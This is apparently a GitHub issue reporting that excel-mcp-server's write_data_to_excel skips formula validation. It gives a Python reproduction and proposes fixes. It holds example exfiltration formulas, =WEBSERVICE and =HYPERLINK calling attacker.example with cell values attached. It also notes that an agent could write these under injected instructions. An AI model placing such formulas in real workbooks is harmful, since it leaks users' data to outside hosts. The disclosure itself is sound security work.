Skip to content

write_data_to_excel can bypass unsafe formula validation #134

@EmersonZh

Description

@EmersonZh

Hi @haris-musa,

While testing security and quality patterns across MCP servers, we noticed a small but important validation gap in excel-mcp-server.

This may overlap with the broader formula injection discussion in #119 / #120, but this issue is more specific: apply_formula() validates formulas before writing them, while write_data_to_excel() can currently write the same unsafe formula directly into a workbook through the bulk data path.

We are also working on mcp-lint(https://github.com/agentsnative/mcp-lint), a CI linting tool for MCP servers, and this is the kind of issue we want it to catch automatically before release. Would you be interested in trying it on excel-mcp-server once we have an early version ready?

Issue

In server.py, write_data_to_excel() explicitly notes:

Excel formula will write to cell without any verification.

Code reference:

def write_data_to_excel(
    filepath: str,
    sheet_name: str,
    data: List[List],
    start_cell: str = "A1",
) -> str:
    """
    Write data to Excel worksheet.
    Excel formula will write to cell without any verification.
    """
    full_path = get_excel_path(filepath)
    result = write_data(full_path, sheet_name, data, start_cell)

The project already has formula validation logic. For example, validate_formula() rejects unsafe functions such as WEBSERVICE, HYPERLINK, RTD, INDIRECT, and DGET.

However, write_data_to_excel() calls write_data(), which eventually writes values directly with:

worksheet.cell(row=start_row + i, column=start_col + j, value=val)

That means a formula rejected by the formula validator can still be written through write_data_to_excel().

Reproduction

git clone https://github.com/haris-musa/excel-mcp-server
cd excel-mcp-server
pip install -e .

python - <<'PY'
from pathlib import Path
from tempfile import TemporaryDirectory
from openpyxl import Workbook, load_workbook
from excel_mcp.data import write_data
from excel_mcp.validation import validate_formula

payload = '=WEBSERVICE("https://attacker.example/leak?value="&A1)'

with TemporaryDirectory() as d:
    path = Path(d) / "formula-bypass.xlsx"

    wb = Workbook()
    ws = wb.active
    ws.title = "Sheet1"
    ws["A1"] = "secret-from-sheet"
    wb.save(path)
    wb.close()

    print("validator:", validate_formula(payload))

    print("write_data:", write_data(str(path), "Sheet1", [[payload]], "B1"))

    wb = load_workbook(path, data_only=False)
    print("stored B1:", wb["Sheet1"]["B1"].value)
    wb.close()
PY

Actual result

validator: (False, 'Unsafe function: WEBSERVICE')
write_data: {'message': 'Data written to Sheet1', 'active_sheet': 'Sheet1'}
stored B1: =WEBSERVICE("https://attacker.example/leak?value="&A1)

Expected result

write_data_to_excel() should not silently bypass formula safety checks.

Possible expected behavior could be one of:

  1. Reject formula-like strings by default when they start with =.
  2. Reuse the existing validate_formula() logic before writing formulas.
  3. Escape formula-like strings as literal text unless formula writing is explicitly enabled.
  4. Add an explicit opt-in parameter such as allow_formulas=False.

Why this matters

In an MCP setting, an agent may call write_data_to_excel() based on untrusted or indirectly injected instructions. If the server writes formula payloads into a workbook, those formulas may later execute or prompt network access when a user opens or recalculates the file in Excel.

Examples include:

=WEBSERVICE("https://attacker.example/leak?value="&A1)
=HYPERLINK("https://attacker.example/click?value="&B1, "Open report")

Suggested fix

A small guard in write_data() or _write_data_to_worksheet() would likely address this:

  • Detect strings beginning with =.
  • Either reject them by default or pass them through validate_formula().
  • Add tests showing that WEBSERVICE / HYPERLINK cannot be written through write_data_to_excel() unless explicitly allowed.
  • Update the write_data_to_excel() docstring to describe the chosen formula policy.

mcp-lint context

We are building mcp-lint, a CI tool for MCP servers that checks for issues such as:

  • destructive tools without sufficient safety hints,
  • inconsistent validation paths,
  • unsafe default behavior around file writes, formulas, network access, or credentials,
  • missing documentation for high-risk tools.

This finding came from the kind of rule we want mcp-lint to automate. If you are interested, we would be happy to run an early mcp-lint report against excel-mcp-server and share the results in a PR or issue.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions